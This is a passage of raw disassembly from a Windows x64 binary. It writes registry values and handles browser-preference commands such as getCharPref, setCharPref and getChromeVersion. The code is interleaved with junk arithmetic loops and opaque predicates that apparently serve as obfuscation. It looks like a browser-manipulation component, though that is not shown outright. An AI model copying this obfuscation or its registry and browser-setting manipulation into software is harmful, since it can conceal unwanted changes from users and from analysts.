jbe 0x140066c14
subsd xmm2, xmm3
movsd qword [rsp + 0x388], xmm2
divsd xmm3, xmm5
movsd qword [rsp + 0x618], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x140066be0
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x7b8], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d21b4
mov rsi, rax
mov qword [rsp + 0x7a8], rax
mov rcx, qword [rsp + 0xa8]
mov eax, dword [rcx - 0x10]
mov dword [rsp + 0x880], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d21b4
mov rbx, rax
mov qword [rsp + 0x688], rax
test rsi, rsi
je 0x140067937
test rax, rax
je 0x140067937
mov r8, rsi
lea rdx, [rsp + 0x88]
call fcn.14006b200
test al, al
je 0x140067937
mov r8, rbx
lea rdx, [rsp + 0xa8]
call fcn.14006b200
test al, al
je 0x140067937
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x478], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rsi
mov rcx, rsi
call fcn.140065770
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x6a8], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.140065770
mov rbx, qword [r14 + 0x40]
add rbx, 0x1b8
mov qword [rsp + 0x1050], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xa08], rcx
mov edx, 0x5c
call fcn.1400d3ff4
mov rcx, rax
mov qword [rsp + 0xd88], rax
test rax, rax
jne 0x140066d45
mov ecx, r15d
jmp 0x140066d56
mov rax, qword [rbx]
mov qword [rsp + 0xa18], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r14 + 0x40]
add rcx, 0x1b8
lea rdx, [rsp + 0xb8]
call fcn.14002a950
nop
mov r8d, dword [0x1401cbd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 8
jne 0x140066de3
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x2f4
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d0cc8
mov qword [rsp + 0xf68], rax
mov rcx, rax
call fcn.1400d272c
mov rax, qword [r14 + 0x40]
add rax, 0x1b8
mov qword [rsp + 0xa28], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xd98], rcx
call fcn.140002410
mov qword [rsp + 0xa38], rax
add rax, 0x18
mov qword [rsp + 0x220], rax
call fcn.140065300
test al, al
jne 0x140066ebf
mov r8d, edi
mov dword [rsp + 0x280], edi
mov ecx, dword [0x1401cbd80]
nop word [rax + rax]
test ecx, ecx
je 0x140066ebf
inc r8d
mov dword [rsp + 0x280], r8d
mov eax, ecx
and eax, 0x80000001
jge 0x140066e5f
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140066e74
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
mov dword [0x1401cbd80], eax
jmp 0x140066e81
lea ecx, [rcx*2 + 1]
mov dword [0x1401cbd80], ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
je 0x140066ea3
sub edx, 2
je 0x140066eac
dec edx
je 0x140066eb4
jmp 0x140066ebd
add ecx, 2
mov dword [0x1401cbd80], ecx
inc ecx
mov dword [0x1401cbd80], ecx
add ecx, 2
mov dword [0x1401cbd80], ecx
jmp 0x140066e40
mov rax, qword [r14 + 0x40]
add rax, 0x2d4
mov qword [rsp + 0x2e8], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x1660]
call fcn.140065100
mov qword [rsp + 0x1060], rax
cmp qword [rax + 0x18], 0x10
jb 0x140066ef2
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x828]
call fcn.140003170
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x778]
call fcn.14001c930
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x210]
call fcn.140010500
nop
mov rcx, qword [rsp + 0x778]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066f68
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x828]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066f9a
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1678], 0x10
jb 0x140066fb2
mov rcx, qword [rsp + 0x1660]
call fcn.1400d1660
mov qword [rsp + 0x1678], 0xf
mov qword [rsp + 0x1670], rdi
mov byte [rsp + 0x1660], 0
mov rax, qword [rsp + 0x2e8]
mov edx, dword [rax]
lea rcx, [rsp + 0x16a0]
call fcn.140065100
mov qword [rsp + 0xa48], rax
cmp qword [rax + 0x18], 0x10
jb 0x140066ff7
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x8a0]
call fcn.140003170
mov rbx, rax
lea r8, [0x14015a010]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x788]
call fcn.14001c930
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.140010500
nop
mov rcx, qword [rsp + 0x788]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x648], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006706d
mov rdx, qword [rsp + 0x648]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x8a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x658], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006709f
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x16b8], 0x10
jb 0x1400670b7
mov rcx, qword [rsp + 0x16a0]
call fcn.1400d1660
mov qword [rsp + 0x16b8], 0xf
mov qword [rsp + 0x16b0], rdi
mov byte [rsp + 0x16a0], 0
mov r8d, dword [0x1401cbd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0x12
jne 0x140067136
mov ecx, edi
mov dword [rsp + 0x238], ecx
movsxd rax, ecx
cmp rax, 0x3e0
jae 0x140067136
mov eax, dword [rsp + rax*4 + 0x20e0]
imul eax, eax, 0xfb
add r8d, eax
mov dword [0x1401cbd80], r8d
inc ecx
jmp 0x140067109
mov rcx, qword [rsp + 0x2e8]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x1640]
call fcn.140065100
mov qword [rsp + 0xda8], rax
cmp qword [rax + 0x18], 0x10
jb 0x140067164
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x838]
call fcn.140003170
mov rbx, rax
lea r8, [0x14015a050]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x798]
call fcn.14001c930
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.140010500
nop
mov rcx, qword [rsp + 0x798]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x668], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400671da
mov rdx, qword [rsp + 0x668]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x838]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x678], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006720c
mov rdx, qword [rsp + 0x678]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1658], 0x10
jb 0x140067224
mov rcx, qword [rsp + 0x1640]
call fcn.1400d1660
mov qword [rsp + 0x1658], 0xf
mov qword [rsp + 0x1650], rdi
mov byte [rsp + 0x1640], 0
call fcn.140065270
test al, al
jne 0x140067292
mov ecx, dword [0x1401cbd80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x141
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d0cc8
mov qword [rsp + 0xa58], rax
mov rcx, rax
call fcn.1400d272c
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x220]
mov rcx, qword [r14 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140067707
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x488], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rsi, qword [rsp + 0x7a8]
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140067707
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140067707
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x848], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x688]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x148]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140067707
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xb8]
mov rcx, r14
call fcn.14006b3a0
mov rcx, rbx
call fcn.1400d2130
mov r11d, dword [0x1401cbd80]
lea ecx, [r11 + 1]
imul ecx, r11d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 3
jne 0x140067469
mov r8d, 0x6b
mov dword [rsp + 0x1b0], r8d
mov r10d, edi
mov dword [rsp + 0x1c8], edi
cmp r10d, r8d
jge 0x140067469
mov r9d, edi
mov dword [rsp + 0x1c0], edi
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r9d, eax
jge 0x14006745c
mov ecx, edi
mov dword [rsp + 0x1b8], ecx
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
jge 0x14006744f
mov eax, r9d
imul eax, r10d
sub eax, ecx
add r8d, eax
mov dword [rsp + 0x1b0], r8d
inc ecx
jmp 0x140067420
inc r9d
mov dword [rsp + 0x1c0], r9d
jmp 0x140067411
inc r10d
mov dword [rsp + 0x1c8], r10d
jmp 0x140067402
mov rcx, rsi
call fcn.1400d2130
mov r9d, dword [0x1401cbd80]
lea r8d, [r9 + 1]
imul r8d, r9d
mov eax, 0x78787879
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x11
sub r8d, edx
cmp r8d, 0xe
jne 0x1400674e1
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r9d, edx
add r9d, 0x7b
movsxd rcx, r9d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d0cc8
mov qword [rsp + 0xf88], rax
mov rcx, rax
call fcn.1400d272c
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, dword [0x1401cbd80]
mov ecx, r9d
imul ecx, r9d
imul ecx, r9d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 2
jne 0x140067595
mov r10d, edi
mov dword [rsp + 0x158], edi
nop dword [rax + rax]
cmp r10d, 0x100
jge 0x140067595
mov edx, r10d
mov dword [rsp + 0x1d0], edx
mov r8d, edi
mov dword [rsp + 0x2c8], edi
nop dword [rax]
cmp r8d, 8
jae 0x14006757e
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, r9d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
mov dword [rsp + 0x1d0], edx
inc r8d
mov dword [rsp + 0x2c8], r8d
jmp 0x140067550
add r9d, edx
mov dword [0x1401cbd80], r9d
inc r10d
mov dword [rsp + 0x158], r10d
jmp 0x140067530
test r12, r12
je 0x1400675aa
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], r15w
mov rcx, qword [rsp + 0x148]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x888], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400675dc
mov rdx, qword [rsp + 0x888]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x200]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x698], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006760e
mov rdx, qword [rsp + 0x698]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x210]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x468], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067640
mov rdx, qword [rsp + 0x468]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x220]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x470], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067672
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x480], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400676a4
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x490], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400676d6
mov rdx, qword [rsp + 0x490]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b060
mov rdx, qword [rsp + 0x4a0]
jmp 0x14006b057
test r12, r12
je 0x14006771c
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x148]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006774e
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x200]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067780
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x210]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400677b2
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x220]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400677e4
mov rdx, qword [rsp + 0x4e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067816
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x500], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067848
mov rdx, qword [rsp + 0x500]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006787a
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400678a9
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x1400678c1
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006790c
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
xor bl, bl
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1a8
test r12, r12
je 0x14006794c
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006797e
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400679b0
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400679df
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x1400679f7
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067a42
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
xor bl, bl
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140067c6e
test r12, r12
je 0x14006b060
mov eax, dword [0x1401cbd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 7
jne 0x140067ae9
mov rax, qword [str.SRpaQMduAk]
mov qword [rsp + 0x438], rax
movzx eax, word [0x14015a038]
mov word [rsp + 0x440], ax
movzx eax, byte [0x14015a03a]
mov byte [rsp + 0x442], al
mov byte [rsp + 0x438], 0x63
lea rcx, [rsp + 0x580]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x230], rdi
mov eax, dword [0x1401cbd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 3
jne 0x140067b2e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rcx, qword [rsp + 0x580]
mov qword [rsp + 0x230], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x230], rdx
lea rcx, [rsp + 0x250]
call fcn.1400020d0
nop
mov dword [rsp + 0xec], edi
cmp edi, 8
jge 0x140067c04
lea rcx, [rsp + 0x240]
call fcn.1400020d0
nop
movsxd rax, edi
movzx r8d, byte [rsp + rax + 0x230]
lea rdx, str._.2x
lea rcx, [rsp + 0x240]
call fcn.140012850
mov rdx, qword [rsp + 0x240]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x498], r8d
lea rcx, [rsp + 0x250]
call fcn.140010fc0
nop
mov rcx, qword [rsp + 0x240]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067bf6
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edi, dword [rsp + 0xec]
inc edi
jmp 0x140067b65
mov rcx, qword [rsp + 0x250]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x6b8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa68], rax
test rax, rax
jne 0x140067c2e
call fcn.1400024a0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x250]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b060
mov rdx, qword [rsp + 0x5a0]
jmp 0x14006b057
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140067d88
mov ecx, dword [0x1401cbd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 5
jne 0x140067cc5
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rdx, [rsp + 0x3e0]
mov rcx, qword [r14 + 0x40]
call fcn.140065550
nop
mov edx, dword [0x1401cbd80]
lea r8d, [rdx + 2]
lea ecx, [rdx + 1]
imul r8d, ecx
imul r8d, edx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 0xc
jne 0x140067d19
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401cbd80], eax
test r12, r12
je 0x140067d57
mov rcx, qword [rsp + 0x3e0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4a8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xdb8], rax
test rax, rax
jne 0x140067d48
call fcn.1400024a0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x3e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b060
mov rdx, qword [rsp + 0x5b0]
jmp 0x14006b057
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140067e71
lea rdx, [rsp + 0x2f8]
mov rcx, qword [r14 + 0x40]
call fcn.1400655a0
nop
call fcn.140065270
test al, al
jne 0x140067e02
mov ecx, dword [0x1401cbd80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x63
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d0cc8
mov qword [rsp + 0xa78], rax
mov rcx, rax
call fcn.1400d272c
test r12, r12
je 0x140067e40
mov rcx, qword [rsp + 0x2f8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x7c8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x1070], rax
test rax, rax
jne 0x140067e31
call fcn.1400024a0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x2f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b060
mov rdx, qword [rsp + 0x5c0]
jmp 0x14006b057
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x14006a844
lea rdx, str.getIntPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x14006a844
lea rdx, str.setCharPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x1400684d6
mov ecx, dword [0x1401cbd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 0xc
jne 0x140067f1b
lea ecx, [r8 - 8]
call fcn.1400d1e38
mov rbx, rax
mov qword [rsp + 0xa88], rax
call fcn.1400d2038
mov dword [rbx], eax
mov dword [0x1401cbd80], eax
mov rcx, rbx
call fcn.1400d1660
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xdc8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xa98], rax
cmp byte [rax + 8], 4
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xfa8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xaa8], rax
cmp byte [rax + 8], 4
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
